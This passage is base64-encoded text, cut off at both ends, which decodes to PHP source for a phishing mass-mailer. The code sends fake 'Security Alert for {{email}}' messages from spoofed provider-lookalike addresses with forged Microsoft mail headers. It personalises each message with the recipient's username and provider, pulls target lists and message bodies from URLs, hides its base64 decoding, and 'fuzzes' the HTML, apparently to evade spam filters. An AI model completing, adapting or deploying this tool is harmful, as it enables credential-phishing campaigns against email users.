yYWN0ZXJzID0gJzAxMjM0NTY3ODknOwogICAgJGNoYXJhY3RlcnNMZW5ndGggPSBzdHJsZW4oJGNoYXJhY3RlcnMpOwogICAgJHJhbmRvbVN0cmluZyA9ICcnOwogICAgZm9yICgkaSA9IDA7ICRpIDwgJGxlbmd0aDsgJGkrKykgewogICAgICAgICRyYW5kb21TdHJpbmcgLj0gJGNoYXJhY3RlcnNbcmFuZCgwLCAkY2hhcmFjdGVyc0xlbmd0aCAtIDEpXTsKICAgIH0KICAgIHJldHVybiAkcmFuZG9tU3RyaW5nOwp9CgpmdW5jdGlvbiBteU1haWwoJGZyb20sICR0bywgJHRoaXNTdWJqZWN0LCAkbWVzc2FnZUJvZHkpewoJZ2xvYmFsICRlaGxvSG9zdDsKCWlmICgkX1BPU1RbJ25vQXV0aFNtdHAnXT09InllcyIpIHsKCQlpZiAoaXNzZXQoJF9HRVRbJ21peCddKSkgewoJCQkkc3RhdHVzZXMgPSBtaXgoJGZyb20sICR0bywgJG1lc3NhZ2VCb2R5KTsKCQl9ZWxzZWlmIChpc3NldCgkX0dFVFsnY29uZnVzZSddKSkgewoJCQkkc3RhdHVzZXMgPSBzZW5kTWFpbCgkZnJvbSwgJHRvLCAkbWVzc2FnZUJvZHkpOwoJCQkvLyRzdGF0dXNlcyA9IHNlbmRNYWlsKCRmcm9tLCAkdG8sICRtZXNzYWdlQm9keSk7CgkJfWVsc2VpZihpc3NldCgkX0dFVFsnY29uZnVzZTInXSkpewoJCQkkc3RhdHVzZXMgPSBzZW5kTWFpbDMoJGZyb20sICR0bywgJG1lc3NhZ2VCb2R5KTsKCQl9ZWxzZWlmKGlzc2V0KCRfR0VUWydjb25mdXNlMyddKSl7CgkJCSRzdGF0dXNlcyA9IHNlbmRNYWlsNCgkZnJvbSwgJHRvLCAkbWVzc2FnZUJvZHkpOwoJCX1lbHNlaWYoaXNzZXQoJF9HRVRbJ2RpcmVjdHNlbmQnXSkpewoJCQkvL2ZvcmsgdGhpcyBjYWxsLHByaW50IHN0YXR1cyBhbmQgZXhpdCBjaGlsZCBhY2NvcmRpbmdseQoJCQkkc3RhdHVzZXMgPSBzZW5kTWFpbDUoJGZyb20sICR0bywgJG1lc3NhZ2VCb2R5KTsKCQl9ZWxzZXsKCQkJJHN0YXR1c2VzID0gc2VuZE1haWwyKCRmcm9tLCAkdG8sICRtZXNzYWdlQm9keSk7CgkJfQoJCSRzdHJzdGF0dXMgPSAiPT4gIi5pbXBsb2RlKCI9PiAiLGFycmF5X3ZhbHVlcygkc3RhdHVzZXMpKTsKCQkkc3RhdHVzID0gcHJlZ19tYXRjaCgiLz0+XHNbNDVdWzAtOV17Mn0oLXxccykvIiwgJHN0cnN0YXR1cyk7CgkJaWYgKCRzdGF0dXM9PTB8fCAkc3RhdHVzPT09ZmFsc2UpIHsKCQkJcmV0dXJuIHRydWU7CgkJfQoJCXJldHVybiBmYWxzZTsKCX0KCSRzZnJvbSA9ICIkdXNlcm5hbWVAJGVobG9Ib3N0IjsKCWlmIChpc3NldCgkX1BPU1RbJ3NtdHBfZnJvbV9lbWFpbCddKSAmJiBzdHJsZW4oJF9QT1NUWydzbXRwX2Zyb21fZW1haWwnXSkgPiAzKSB7CgkJJHNmcm9tID0gJF9QT1NUWydzbXRwX2Zyb21fZW1haWwnXTsKCX0KICAgICRmaXJzdE5MID0gc3RycG9zKCRtZXNzYWdlQm9keSwgIlxyXG5cclxuIik7CiAgICAkdGhpc0V4dHJhSGVhZGVycyA9IHN1YnN0cigkbWVzc2FnZUJvZHksIDAsICRmaXJzdE5MKzIpOwogICAgLy9lY2hvIGpzb25fZW5jb2RlKCR0aGlzRXh0cmFIZWFkZXJzKS4nPGJyIC8+JzsKICAgICR0aGlzTWVzc2FnZSA9IHN1YnN0cigkbWVzc2FnZUJvZHksICRmaXJzdE5MKzQpOwogICAgLy9lY2hvIGpzb25fZW5jb2RlKCR0aGlzTWVzc2FnZSkuJzxiciAvPic7CglpZiAobWFpbCgkdG8sICR0aGlzU3ViamVjdCwgJHRoaXNNZXNzYWdlLCAkdGhpc0V4dHJhSGVhZGVycywgIi1mJHNmcm9tIikpIHsKCQlyZXR1cm4gdHJ1ZTsKCX0KCWlmIChpc3NldCgkX0dFVFsnZGVidWcnXSkgJiYgZnVuY3Rpb25fZXhpc3RzKCdlcnJvcl9nZXRfbGFzdCcpKSB7CgoJCXByaW50X3IoZXJyb3JfZ2V0X2xhc3QoKSk7Cgl9CglyZXR1cm4gZmFsc2U7CgoJLy9jaGVjayBpZiB0aGUgbm9hdXRoIHNtdHAgbWV0aG9kIGlzIHNldCwgdGhlbiB1cyBub2F1dGggc210cCB0cmljayBpbnN0ZWFkCn0KCmZ1bmN0aW9uIGlzSXAoJHN0cmluZyl7CiAgICAkcGFydHMgPSBleHBsb2RlKCIuIiwgJHN0cmluZyk7CiAgICBpZiAoY291bnQoJHBhcnRzKSE9NCkgewogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KICAgIGZvcmVhY2ggKCRwYXJ0cyBhcyAkcGFydCkgewogICAgICAgIGlmICghaXNfbnVtZXJpYygkcGFydCkpIHsKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgIH0KICAgIHJldHVybiB0cnVlOwp9CgovL2VuZCByZW1vdmUgc2xhc2hlcy4KJHBhdCA9IGdlbmVyYXRlUmFuZG9tTnVtZXJpY1N0cmluZyg2KTsKJGlkID0gIlBhcnQtJHBhdC0iLmdlbmVyYXRlUmFuZG9tTnVtZXJpY1N0cmluZygxOSk7CiRpZDIgPSAiUGFydC0kcGF0LSIuZ2VuZXJhdGVSYW5kb21OdW1lcmljU3RyaW5nKDE5KTsKJGxhc3RCaXQgPSAxOwokc2xhc3RCaXQgPSAxOwokZXJyb3JDb3VudCA9IGFycmF5KCk7Ci8qKioqKioqKioqKioqKipDT05GSUcqKioqKioqKioqKioqKi8KJGZyb21OYW1lCQk9IGlzc2V0KCRfUE9TVFsnZnJvbV9uYW1lJ10pPyRfUE9TVFsnZnJvbV9uYW1lJ106Int7UHJvdmlkZXJ9fSI7CiRmcm9tRW1haWwJCT0gaXNzZXQoJF9QT1NUWydmcm9tX2VtYWlsJ10pPyRfUE9TVFsnZnJvbV9lbWFpbCddOiJ1c2VybWVzc2FnZXMue3twcm92aWRlcn19aW5jQG1haWwudGVhbS5ub3RpZi5tc2dzZWMubm90aWNlcy5lbnJvbGwuYXR2anAuY29tIjsKJHJlcGx5dG8JCT0gaXNzZXQoJF9QT1NUWydyZXBseV90byddKT8kX1BPU1RbJ3JlcGx5X3RvJ106ImFsdC5qaS02ejR2bzVhQHlvcG1haWwuY29tIjsKJHN1YmplY3QJCT0gaXNzZXQoJF9QT1NUWydzdWJqZWN0J10pPyRfUE9TVFsnc3ViamVjdCddOiJTZWN1cml0eSBBbGVydCBmb3Ige3tlbWFpbH19IjsKJHRlc3RNc2dBZnRlcgk9IDEwMDA7Ly9lbWFpbHMKJHRlc3RFbWFpbAkJPSBpc3NldCgkX1BPU1RbJ21lc3NhZ2UnXSk/bnVsbDoiYWx0LmppLTZ6NHZvNWFAeW9wbWFpbC5jb20iOwokbWVzc2FnZUZpbGUgCT0gaXNzZXQoJF9QT1NUWydtZXNzYWdlJ10pP251bGw6Jyc7CiRsaXN0RmlsZQkJPSBpc3NldCgkX1BPU1RbJ2xpc3QnXSk/bnVsbDonJzsKJGZpZWxkc1NlcGFyYXRvcj0gJywnOwokZXh0cmFIZWFkZXJzID0gIk1JTUUtVmVyc2lvbjogMS4wXG4iOwokZXh0cmFIZWFkZXJzIC49ICJEYXRlOiB7e2RhdGV9fVxuIjsKJGV4dHJhSGVhZGVycyAuPSAiRnJvbToge3tmcm9tTmFtZX19IDx7e2Zyb21FbWFpbH19PlxuIjsKJGV4dHJhSGVhZGVycyAuPSAoaXNzZXQoJF9QT1NUWydub0F1dGhTbXRwJ10pICYmICRfUE9TVFsnbm9BdXRoU210cCddPT0ibm8iKSA/ICIiIDogIlN1YmplY3Q6IHt7c3ViamVjdH19XG4iOwokZXh0cmFIZWFkZXJzIC49IChpc3NldCgkX1BPU1RbJ25vQXV0aFNtdHAnXSkgJiYgJF9QT1NUWydub0F1dGhTbXRwJ109PSJubyIpID8gIiIgOiAiVG86IHt7dG99fVxuIjsKJGV4dHJhSGVhZGVycyAuPSAoc3RybGVuKCRyZXBseXRvKT40KSA/ICJSZXBseS1UbzogJHJlcGx5dG9cbiIgOiAiIjsKJGV4dHJhSGVhZGVycyAuPSAiWC1Qcmlvcml0eTogMVxyXG4iOwokZXh0cmFIZWFkZXJzIC49ICJYLU1TTWFpbC1Qcmlvcml0eTogSGlnaFxuIjsKJGV4dHJhSGVhZGVycyAuPSAiSW1wb3J0YW5jZTogSGlnaFxuIjsKJGV4dHJhSGVhZGVycyAuPSAiWC1NaW1lT0xFOiBQcm9kdWNlZCBCeSBNaWNyb3NvZnQgTWltZU9MRSBWNi4xMC4yODAwLjQ0MDkuMjAyMTU4NjQ0OS5pby5qaDMxIjsKCgovKioqKioqKioqKioqKioqRU5EIE9GIENPTkZJRyoqKioqKioqKioqKioqLwoKaWYgKGlzc2V0KCRfR0VUWydtb2RlOSddKXx8IWVtcHR5KCRfUE9TVCl8fCFmaWxlX2V4aXN0cygkbGlzdEZpbGUpKSB7CgkkZWhsb0hvc3QgPSBpc3NldCgkX1NFUlZFUlsnU0VSVkVSX0FERFInXSk/Z2V0aG9zdGJ5YWRkcigkX1NFUlZFUlsnU0VSVkVSX0FERFInXSk6Z2V0aG9zdGJ5YWRkcigkX1NFUlZFUlsnTE9DQUxfQUREUiddKTsKCSRsaXN0RmlsZSA9ICFmaWxlX2V4aXN0cygkbGlzdEZpbGUpPyBudWxsOiRsaXN0RmlsZTsKCSRtZXNzYWdlRmlsZSA9ICFmaWxlX2V4aXN0cygkbWVzc2FnZUZpbGUpP251bGw6JG1lc3NhZ2VGaWxlOwoJJF9QT1NUWydtZXNzYWdlJ10gPSBpc3NldCgkX1BPU1RbJ21lc3NhZ2UnXSk/JF9QT1NUWydtZXNzYWdlJ106ZmFsc2U7CgkvL2NoZWNrIGlmIHNlc3Npb24gaWQgaXMgc2V0IGFuZCBzdG9yZSBtZXNzYWdlIHN0cmluZyB0aGVyZQoJaWYoaXNzZXQoJF9HRVRbJ3Nlc3NfaWQnXSkgJiYgc3RybGVuKCRfUE9TVFsnbWVzc2FnZSddKSA+IDUpewoJCSRfU0VTU0lPTlsnbWVzc2FnZSddID0gJF9QT1NUWydtZXNzYWdlJ107Cgl9ZWxzZWlmKGlzc2V0KCRfU0VTU0lPTlsnbWVzc2FnZSddKSAmJiBzdHJsZW4oJF9TRVNTSU9OWydtZXNzYWdlJ10pPjUpewoJCSRfUE9TVFsnbWVzc2FnZSddID0gJF9TRVNTSU9OWydtZXNzYWdlJ107Cgl9CgkkX1BPU1RbJ2xpc3QnXSA9IGlzc2V0KCRfUE9TVFsnbGlzdCddKT8kX1BPU1RbJ2xpc3QnXTpmYWxzZTsKCgoJLy9lY2hvICRfUE9TVFsnbGlzdCddOwoJJGFyZnVuID0gYXJyYXkoJ2InLCdhJywncycsJ2UnLCc2JywnNCcsJ18nLCdkZScsJ2NvJywnZGUnKTsKCSRiNmZ1ciA9IGltcGxvZGUoIiIsICRhcmZ1bik7CgkvL2hhdmUgdG8gZGNkZSBtZXNzYWdlIGZyb20gYiA2IDQgCgkkbWVzc2FnZSA9ICgkbWVzc2FnZUZpbGU9PW51bGwgKT8kYjZmdXIoJF9QT1NUWydtZXNzYWdlJ10pOmZpbGVfZ2V0X2NvbnRlbnRzKCRtZXNzYWdlRmlsZSk7CgkvL2lmIG1lc3NhZ2UgaXMgYSB1cmwsIGZldGNoIHRoZSBjb250ZW50CgkkZmlyc3RTZXZlbiA9IHN1YnN0cigkbWVzc2FnZSwgMCwgNyk7CglpZiAoJGZpcnN0U2V2ZW49PSdodHRwOi8vJyB8fCAkZmlyc3RTZXZlbj09J2h0dHBzOi8nKSB7CgkJJG1lc3NhZ2UgPSBnZXRfZGF0YSgkbWVzc2FnZSk7Cgl9CgkvL2xvY2FsIGZpbGU/CglpZiAoJGZpcnN0U2V2ZW49PSdsb2NhbDovJykgewoJCSRsb2NhbEZpbGUgPSBzdHJfcmVwbGFjZSgnbG9jYWw6Ly8nLCAnJywgJG1lc3NhZ2UpOwoJCSRtZXNzYWdlID0gZmlsZV9nZXRfY29udGVudHMoJGxvY2FsRmlsZSk7CiAgICB9CiAgICAvL2ZvcmNlIGl0IHRvIHVzZSBtdWx0aXBhcnQgYWx0ZXJuYXRpdmUgaGVyZSBmb3Igbm93LgogICAgLy93aWxsIG1ha2UgaXQgb3B0aW9uYWwgbGF0ZXIgd2hlbiBlbmFibGluZyBhdHRhY2htZW50IGZvciBobWFpbAoJaWYgKHN0cnBvcygkbWVzc2FnZSwgJ3t7aWR9fScpPT09ZmFsc2UgJiYKCQlzdHJwb3MoJG1lc3NhZ2UsICd7e2lkMn19Jyk9PT1mYWxzZSkgewoJCSRleHRyYUhlYWRlcnMgLj0gIlxuQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluOyBjaGFyc2V0PVwidXRmLThcIiI7CgkJJGV4dHJhSGVhZGVycyAuPSAiXG5Db250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBxdW90ZWQtcHJpbnRhYmxlIjsKCX1lbHNlaWYgKHN0cnBvcygkbWVzc2FnZSwgJ3t7aWQyfX0nKT09PWZhbHNlKSB7CgkJJGV4dHJhSGVhZGVycyAuPSAiXG5Db250ZW50LVR5cGU6IG11bHRpcGFydC9hbHRlcm5hdGl2ZTsgYm91bmRhcnk9XCIkaWRcIiI7Cgl9ZWxzZWlmIChzdHJwb3MoJG1lc3NhZ2UsICd7e2lkMn19JykhPT1mYWxzZSkgewoJCSRleHRyYUhlYWRlcnMgLj0gIlxuQ29udGVudC1UeXBlOiBtdWx0aXBhcnQvbWl4ZWQ7IGJvdW5kYXJ5PVwiJGlkXCIiOwoJfQoJaWYgKGlzc2V0KCRfUE9TVFsnbm9BdXRoU210cCddKSAmJiAkX1BPU1RbJ25vQXV0aFNtdHAnXT09InllcyIpIHsKCX0KCS8vJGV4dHJhSGVhZGVycyA9IHN0cl9yZXBsYWNlKCJcbiIsICJcclxuIiwgJGV4dHJhSGVhZGVycyk7Cgkkc2VhcmNoID0gYXJyYXkoJ3t7ZnJvbU5hbWV9fScsJ3t7ZnJvbUVtYWlsfX0nLCd7e3JlcGx5dG99fScsJ3t7c3ViamVjdH19Jywne3tob3N0bmFtZX19Jyk7CgkkcmVwbGFjZSA9IGFycmF5KCRmcm9tTmFtZSwgJGZyb21FbWFpbCwgJHJlcGx5dG8sICRzdWJqZWN0LCAkZWhsb0hvc3QpOwoJJG1lc3NhZ2UgPSBzdHJfcmVwbGFjZSgkc2VhcmNoLCAkcmVwbGFjZSwgJG1lc3NhZ2UpOwoJJGV4dHJhSGVhZGVycyA9IHN0cl9yZXBsYWNlKCRzZWFyY2gsICRyZXBsYWNlLCAkZXh0cmFIZWFkZXJzKTsKCSRlbWFpbExpc3QgPSAoJGxpc3RGaWxlPT1udWxsKT8kX1BPU1RbJ2xpc3QnXTpmaWxlX2dldF9jb250ZW50cygkbGlzdEZpbGUpOwoJJGVtYWlsTGlzdCA9IHN0cl9yZXBsYWNlKGFycmF5KCJcclxuIiwiXHIiKSwgIlxuIiwgJGVtYWlsTGlzdCk7CgkkZW1haWxMaXN0ID0gZXhwbG9kZSgiXG4iLCAkZW1haWxMaXN0KTsKCS8vaWYgbGlzdCBpcyBhIHVybCwgZmV0Y2ggdGhlIGNvbnRlbnQKCSRlbWFpbExpc3RbMV0gPSB1cmxkZWNvZGUoJGVtYWlsTGlzdFsxXSk7CgkkZmlyc3RTZXZlbiA9IHN1YnN0cigkZW1haWxMaXN0WzFdLCAwLCA3KTsKCWlmICgkZmlyc3RTZXZlbj09J2h0dHA6Ly8nIHx8ICRmaXJzdFNldmVuPT0naHR0cHM6LycpIHsKCQkkZmV0Y2hlZEVtYWlscyA9IGdldF9kYXRhKCRlbWFpbExpc3RbMV0pOwoJCSRmZXRjaGVkRW1haWxzID0gc3RyX3JlcGxhY2UoIlxyXG4iLCAiXG4iLCAkZmV0Y2hlZEVtYWlscyk7CgkJJGZldGNoZWRFbWFpbHMgPSBleHBsb2RlKCJcbiIsICRmZXRjaGVkRW1haWxzKTsKCQkkcHJlZml4ID0gYXJyYXkoJGVtYWlsTGlzdFswXSk7CgkJdW5zZXQoJGVtYWlsTGlzdFswXSk7CgkJdW5zZXQoJGVtYWlsTGlzdFsxXSk7CgkJJGVtYWlsTGlzdCA9IGFycmF5X21lcmdlKCRwcmVmaXgsJGZldGNoZWRFbWFpbHMsICRlbWFpbExpc3QpOwoJfQoJJGNvdW50ID0gY291bnQoJGVtYWlsTGlzdCk7CgkkbWVyZ2VGaWVsZHNMaW5lID0gYXJyYXlfc2hpZnQoJGVtYWlsTGlzdCk7CgkkbWVyZ2VTZWFyY2ggPSBleHBsb2RlKCRmaWVsZHNTZXBhcmF0b3IsICRtZXJnZUZpZWxkc0xpbmUpOwoJJG1zZWFyY2hDb3VudCA9IGNvdW50KCRtZXJnZVNlYXJjaCk7CgkkbWVyZ2VGaWVsZHNDb3VudCA9IGNvdW50KGV4cGxvZGUoJGZpZWxkc1NlcGFyYXRvciwgJG1lcmdlRmllbGRzTGluZSkpOwoJJG1lcmdlU2VhcmNoW10gPSAne3tpZH19JzsKCSRtZXJnZVNlYXJjaFtdID0gJ3t7aWQyfX0nOwoJJHByb3ZpZGVySW5kZXggPSBhcnJheV9zZWFyY2goJ3t7cHJvdmlkZXJ9fScsICRtZXJnZVNlYXJjaCk7CgkvL2xvb3AgdGhyb3VnaCBsaW5lcywgcmVwbGFjZSBtZXJnZSBmaWVsZHMgYW5kIHNlbmQgbWVzc2FnZS4KCSRjb3VudGVyID0gMTsKCS8vZmlyc3QgZG8gYSBjaGVjayBmb3IgYXR0YWNobWVudCBhbmQgZG8gdGhlIG5lZWRmdWwKCWlmKGlzc2V0KCRfU0VTU0lPTlsnYXR0YWNobWVudCddKSAmJiAhZmlsZV9leGlzdHMoJF9TRVNTSU9OWydhdHRhY2htZW50J10pKSB7CgkJZWNobyAiPHNjcmlwdD5hbGVydCgneW91ciBhdHRjaG1lbnQgY291bGRuXCd0IGJlIGZvdW5kXG4gcGxlYXNlIHVwbG9hZCBhdHRhY2htZW50IGFuZCByZWxvYWQgcGFnZSB0byBjb250aW51ZScpOzwvc2NyaXB0PiI7CgkJLy9sZXQncyBzdG9wIHByb2Nlc3NpbmcgcmlnaHQgYXdheSEhIQoJCWV4aXQoKTsKCX0KCWZvciAoJGk9MDsgJGkgPCBjb3VudCgkZW1haWxMaXN0KTsgJGkrKykgeyAKCQkkZW1haWxMaXN0TGluZSA9ICRlbWFpbExpc3RbJGldOwoJCWlmIChpc3NldCgkZW1haWxMaXN0WyRpKzFdKSkgewoJCQkkbmV4dFRvID0gJGVtYWlsTGlzdFskaSsxXTsKCQl9ZWxzZXsgJG5leHRUbyA9ICcnO30KCQkkbXNlY29uZHMgPSB0aW1lKCkgKyAoaW50ZWdlcikgJF9TRVNTSU9OWydjb3VudGEnXTsKCQkkZGF0ZSA9IGRhdGUoJ0QsIGogTSBZIGg6aTpzJywgJG1zZWNvbmRzKTsKCQkkcmVwbGFjZUZpZWxkcyA9IGV4cGxvZGUoJGZpZWxkc1NlcGFyYXRvciwgJGVtYWlsTGlzdExpbmUpOwoJCSRsaW5lTVhyID0gZmFsc2U7CgkJZm9yZWFjaCgkcmVwbGFjZUZpZWxkcyBhcyAkZmllbGQpewoJCQlpZiAoc3RycG9zKCRmaWVsZCwgJ214cjonKSE9PWZhbHNlKSB7CgkJCQlsaXN0KCRwcmVmLCAkbXhyKSA9IGV4cGxvZGUoIjoiLCAkZmllbGQpOwoJCQkJJGxpbmVNWHIgPSBleHBsb2RlKCI7Iiwgc3RydG9sb3dlcigkbXhyKSk7CgkJCX0KCQl9CgkJJHJlbW92ZUNvdW50ICA9ICAkbXNlYXJjaENvdW50IC0gY291bnQoJHJlcGxhY2VGaWVsZHMpOwoJCQoJCWlmICgkcmVtb3ZlQ291bnQ8MCkgewoJCQkvL3JlbW92ZSBhbnkgZXh0cmEgZmllbGRzIHNwZWNpZmllZC4uLiBjYXVzZXMgcHJvYmxlbXMKCQkJJHJlcGxhY2VGaWVsZHMgPSBhcnJheV9zbGljZSgkcmVwbGFjZUZpZWxkcywgMCwgJHJlbW92ZUNvdW50KTsKCQl9CgkJJHJlcGxhY2VGaWVsZHMgPSBhcnJheV9wYWQoJHJlcGxhY2VGaWVsZHMsICRtZXJnZUZpZWxkc0NvdW50LCAwKTsKCQkkbWVyZ2VSZXBsYWNlID0gJHJlcGxhY2VGaWVsZHM7CgkJLy8kbWVyZ2VSZXBsYWNlID0gZXhwbG9kZSgkZmllbGRzU2VwYXJhdG9yLCAkZW1haWxMaXN0TGluZSk7CgkJJG1lcmdlUmVwbGFjZVtdID0gJGlkOwoJCSRtZXJnZVJlcGxhY2VbXSA9ICRpZDI7CgkJJHRvID0gJG1lcmdlUmVwbGFjZVswXTsgLy9hc3N1bWluZyBmaXJzdCBmaWVsZCBpcyB0aGUgZW1haWwgZmllbGQuCgkJaWYgKHN0cmxlbigkdG8pID4gNSkgewoJCQkvL2NvbXB1dGUgZXh0cmEgbWVyZ2UgZmllbGRzCgkJCWxpc3QoJHVzZXJuYW1lLCRlbWFpbERvbWFpbikgPSBleHBsb2RlKCdAJywgJHRvKTsKCQkJbGlzdCgkcHJvdmlkZXIpID0gZXhwbG9kZSgnLicsICRlbWFpbERvbWFpbik7CgkJCSR1c2VybmFtZSA9IHN0cnRvbG93ZXIoJHVzZXJuYW1lKTsKCQkJJGVtYWlsRG9tYWluID0gc3RydG9sb3dlcigkZW1haWxEb21haW4pOwoJCQkkcHJvdmlkZXIgPSAoJHByb3ZpZGVySW5kZXghPT1mYWxzZSk/JG1lcmdlUmVwbGFjZVskcHJvdmlkZXJJbmRleF06c3RydG9sb3dlcigkcHJvdmlkZXIpOwoJCQkkdXNlcm5hbWVDYXBzID0gc3RydG91cHBlcigkdXNlcm5hbWUpOwoJCQkkZW1haWxEb21haW5DYXBzID0gc3RydG91cHBlcigkZW1haWxEb21haW4pOwoJCQkkcHJvdmlkZXJDYXBzID0gc3RydG91cHBlcigkcHJvdmlkZXIpOwoJCQkkdXNlcm5hbWVGaXJzdExldHRlckNhcHMgPSB1Y2ZpcnN0KCR1c2VybmFtZSk7CgkJCSRlbWFpbERvbWFpbkZpcnN0TGV0dGVyQ2FwcyA9IHVjZmlyc3QoJGVtYWlsRG9tYWluKTsKCQkJJHByb3ZpZGVyRmlyc3RMZXR0ZXJDYXBzID0gdWNmaXJzdCgkcHJvdmlkZXIpOwoJCQkkX1NFU1NJT05bJ2NvdW50YSddID0gaXNzZXQoJF9TRVNTSU9OWydjb3VudGEnXSk/JF9TRVNTSU9OWydjb3VudGEnXToxOwoJCQkkc2Vzc2lvbkNvdW50ZXIgPSBpc3NldCgkX1NFU1NJT05bJ2NvdW50YSddKT8kX1NFU1NJT05bJ2NvdW50YSddOiAwOwoJCQkkYXBwZW5kTWVyZ2VTZWFyY2ggPSBhcnJheSggJ3t7dXNlcm5hbWV9fScsJ3t7ZG9tYWlufX0nLCd7e3Byb3ZpZGVyfX0nLAoJCQkJCQkJCQkJJ3t7VXNlcm5hbWV9fScsJ3t7RG9tYWlufX0nLCd7e1Byb3ZpZGVyfX0nLAoJCQkJCQkJCQkJJ3t7VVNFUk5BTUV9fScsJ3t7RE9NQUlOfX0nLCd7e1BST1ZJREVSfX0nLAoJCQkJCQkJCQkJJ3t7cmFuZG9tSWR9fScsJ3t7Y291bnRlcn19Jywne3tkYXRlfX0nLAoJCQkJCQkJCQkJJ3t7dG99fScKCQkJCQkJCQkJKTsKCQkJJGFwcGVuZE1lcmdlUmVwbGFjZSA9IGFycmF5KCAKCQkJCQkJCQkJCSR1c2VybmFtZSwgJGVtYWlsRG9tYWluLCAkcHJvdmlkZXIsCgkJCQkJCQkJCQkkdXNlcm5hbWVGaXJzdExldHRlckNhcHMsICRlbWFpbERvbWFpbkZpcnN0TGV0dGVyQ2FwcywgJHByb3ZpZGVyRmlyc3RMZXR0ZXJDYXBzLAoJCQkJCQkJCQkJJHVzZXJuYW1lQ2FwcywgJGVtYWlsRG9tYWluQ2FwcywgJHByb3ZpZGVyQ2FwcywKCQkJCQkJCQkJCSBnZW5lcmF0ZVJhbmRvbUFscGhhTnVtZXJpY1N0cmluZygxMCksJHNlc3Npb25Db3VudGVyLCRkYXRlLCR0bwoJCQkJCQkJCQkpOwoJCQkkdGhpc01lcmdlU2VhcmNoID0gYXJyYXlfbWVyZ2UoJG1lcmdlU2VhcmNoLCAkYXBwZW5kTWVyZ2VTZWFyY2gpOyAvL2F2b2lkIGFsdGVyaW5nIG1lcmdlIHNlYXJjaCBmb3Igb3RoZXIgbGluZXMKCQkJJG1lcmdlUmVwbGFjZSA9IGFycmF5X21lcmdlKCRtZXJnZVJlcGxhY2UsICRhcHBlbmRNZXJnZVJlcGxhY2UpOwoJCQkvL3ByaW50X3IoJHRoaXNNZXJnZVNlYXJjaCk7CgkJCS8vcHJpbnRfcigkbWVyZ2VSZXBsYWNlKTsKCQkJJGFkZFNlYXJjaFJlcGxhY2UgPSBhcnJheSgpOwoJCQlmb3IgKCRlPTA7ICRlIDwgY291bnQoJHRoaXNNZXJnZVNlYXJjaCk7ICRlKyspIHsgCgkJCQkka2V5ID0gIHN0cnRvbG93ZXIoc3Vic3RyKCR0aGlzTWVyZ2VTZWFyY2hbJGVdLCAyLCAtMikpIDsKCQkJCS8vZWNobyAka2V5LiI8YnI+IjsKCQkJCSRhZGRTZWFyY2hSZXBsYWNlWyJ7VXsiLiRrZXkuIn19Il0gPSBzdHJ0b3VwcGVyKCRtZXJnZVJlcGxhY2VbJGVdKTsKCQkJCSRhZGRTZWFyY2hSZXBsYWNlWyJ7RnsiLiRrZXkuIn19Il0gPSB1Y2ZpcnN0KCRtZXJnZVJlcGxhY2VbJGVdKTsKCQkJCSRhZGRTZWFyY2hSZXBsYWNlWyJ7THsiLiRrZXkuIn19Il0gPSBzdHJ0b2xvd2VyKCRtZXJnZVJlcGxhY2VbJGVdKTsKCQkJCSRhZGRTZWFyY2hSZXBsYWNlWyJ7VVd7Ii4ka2V5LiJ9fSJdID0gdWN3b3JkcygkbWVyZ2VSZXBsYWNlWyRlXSk7CgkJCX0KCQkJJHRoaXNNZXJnZVNlYXJjaCA9IGFycmF5X21lcmdlKCR0aGlzTWVyZ2VTZWFyY2gsIGFycmF5X2tleXMoJGFkZFNlYXJjaFJlcGxhY2UpKTsKCQkJJG1lcmdlUmVwbGFjZSA9IGFycmF5X21lcmdlKCRtZXJnZVJlcGxhY2UsIGFycmF5X3ZhbHVlcygkYWRkU2VhcmNoUmVwbGFjZSkpOwoJCQkvL3ByaW50X3IoJHRoaXNNZXJnZVNlYXJjaCk7CgkJCSRzbXRwX2Zyb20gPSBzdHJfcmVwbGFjZSgkdGhpc01lcmdlU2VhcmNoLCAkbWVyZ2VSZXBsYWNlLCAkX1BPU1RbJ3NtdHBfZnJvbV9lbWFpbCddKTsKCQkJJHRoaXNNZXNzYWdlID0gc3RyX3JlcGxhY2UoJHRoaXNNZXJnZVNlYXJjaCwgJG1lcmdlUmVwbGFjZSwgJG1lc3NhZ2UpOyAvL3R3ZWFrIGhlcmUuCgkJCSR0aGlzU3ViamVjdCA9IHN0cl9yZXBsYWNlKCR0aGlzTWVyZ2VTZWFyY2gsICRtZXJnZVJlcGxhY2UsICRzdWJqZWN0KTsKCQkJJHRoaXNGcm9tRW1haWwgPSBzdHJfcmVwbGFjZSgkdGhpc01lcmdlU2VhcmNoLCAkbWVyZ2VSZXBsYWNlLCAkZnJvbUVtYWlsKTsKICAgICAgICAgICAgJHRoaXNGcm9tTmFtZSA9IHN0cl9yZXBsYWNlKCR0aGlzTWVyZ2VTZWFyY2gsICRtZXJnZVJlcGxhY2UsICRmcm9tTmFtZSk7CiAgICAgICAgICAgIAogICAgICAgICAgICAvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiAgICAgICAgICAgIC8vIENVU1RPTSBNSU1FIEJVSUxERVI6IFJFUExBQ0VTIFBIUE1haWxlcgogICAgICAgICAgICAvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiAgICAgICAgICAgIC8vIDEuIEFwcGx5IGZ1enppbmcgdG8gdGhlIEhUTUwgbWVzc2FnZQogICAgICAgICAgICAkZnV6emVkSHRtbCA9IGZ1enpNZXNzYWdlKCR0aGlzTWVzc2FnZSk7CiAgICAgICAgICAgIC8vIDIuIEV4dHJhY3QgcGxhaW4gdGV4dCBmcm9tIHRoZSBmdXp6ZWQgSFRNTAogICAgICAgICAgICAkcGxhaW5UZXh0ID0gZXh0cmFjdFBsYWluVGV4dEZyb21IVE1MKCRmdXp6ZWRIdG1sKTsKICAgICAgICAgICAgLy8gMy4gQnVpbGQgTUlNRSBib2R5IChhdHRhY2htZW50IGZyb20gc2Vzc2lvbiBpZiBleGlzdHMpCiAgICAgICAgICAgICRhdHRhY2htZW50UGF0aCA9IGlzc2V0KCRfU0VTU0lPTlsnYXR0YWNobWVudCddKSA/ICRfU0VTU0lPTlsnYXR0YWNobWVudCddIDogbnVsbDsKICAgICAgICAgICAgJG1pbWVCb2R5ID0gYnV